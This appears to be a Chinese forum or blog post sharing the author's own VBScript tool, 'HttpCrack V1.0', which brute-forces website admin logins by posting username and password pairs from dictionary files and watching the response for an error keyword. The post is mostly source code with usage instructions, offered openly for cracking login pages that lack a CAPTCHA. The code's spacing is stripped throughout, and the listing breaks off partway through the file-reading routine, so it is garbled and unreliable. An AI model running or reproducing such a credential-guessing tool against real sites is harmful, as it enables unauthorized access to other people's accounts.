自己用vbs写的一个暴力破解后台用户和密码的工具,字典需要自己生成,用户字典保存为user.txt,密码字典保存为pass.txt用法不多说了大家看说明吧。
转载请注明出处啊。o(∩_∩)o...
源码如下:
Dimi,l,u,p,ul,pl
l=0
i=0
u=0
p=0
Dimurl,user1,pass1,search
Dimuser(),pass()
setarg=wscript.arguments
If(LCase(Right(Wscript.fullname,11))="Wscript.Exe")Then
Wscript.Quit
EndIf
ifarg.count=0orarg.length<>8then
Calluseage()
Wscript.Quit
Else
'-------------------------------功能实现-------------------------------------------------------
Callinit()
CallreadFile()
Callmain()
EndIf
'-------------------------------功能实现-------------------------------------------------------
Submain()
Dimresult
DimpostStr
Fori=0Toul-1
Forl=0Topl-1
postStr=user1&"="&user(i)&"&"&pass1&"="&pass(l)
wsh.echo"Checking......"&user(i)&"------"&pass(l)
result=BytesToBstr(GetData(url,postStr),"GB2312")
'MsgBoxresult
If(InStr(result,search)>0)Then
wsh.echo""
wsh.echo"GoodJob!!!"&vbcrlf&"YouHaveFoundTheResult"&vbcrlf&"username:"&user(i)&"-------
password:"&pass(l)
wscript.quit
EndIf
next
Next
wsh.echo"SorryIcan'tFindTheResult,PleaseExpandTheDic."
Endsub
'-------------------------------使用说明-------------------------------------------------------
Subuseage()
wsh.echostring(79,"*")
wsh.echo"此工具作为暴力破解用户名密码之用,条件是没有认证码做验证"
wsh.echo""
wsh.echo"HttpCrackV1.0"
wsh.echo" Madeby孤水绕城"
wsh.echo" QQ:540410588Blog:http://hi.baidu.com/540410588"
wsh.echo""
wsh.echo"Usage:"
wsh.echo"cscript"&wscript.scriptname&"-l(接收用户名密码的url)-u(用户名字段名)-p(密码字段名)-s(返回错误信息关键
字)"
wsh.echo"示例如下:cscript"&wscript.scriptname&"-lhttp://localhost/login.php-uuser-ppass-serror"
wsh.echostring(79,"*")&vbcrlf
EndSub
'-------------------------------使用说明-------------------------------------------------------
'-------------------------------读取参数-------------------------------------------------------
Subinit()
Dims
s=0
Fors=0To7
If(arg(s)="-l")Then
url=arg(s+1)
EndIf
If(arg(s)="-u")Then
user1=arg(s+1)
EndIf
If(arg(s)="-p")Then
pass1=arg(s+1)
EndIf
If(arg(s)="-s")Then
search=arg(s+1)
EndIf
Next
Ifurl<>""Anduser1<>""Andpass1<>""Andsearch<>""Then
Else
Calluseage()
wscript.quit
EndIf
EndSub
'------------------------------该部分用于读取user和pass字典----------------------------------
SubreadFile()
Dimpath,length,fullpath,scriptName,str
str="gsrc"
fullpath=wscript.ScriptFullName
length=InStr(fullpath,scriptName)
path=Mid(fullpath,1,length-1)
Setfso=CreateObject("Scripting.FileSystemObject")
Iffso.fileExists(path&"user.txt")Andfso.fileExists(path&"pass.txt")Then
Setotfuser=fso.OpenTextFile(path&"user.txt")
Setotfpass=fso.OpenTextFile(path&"pass.txt")
DoWhileotfuser.AtEndOfLine<>True
ReDimPreserveuser(i)
str=otfuser.readLine()
str=RegReplace(str,"[\s]+","")'去除多余空格
If(str<>"")then
user(i)=str
EndIf
i=i+1
*
* |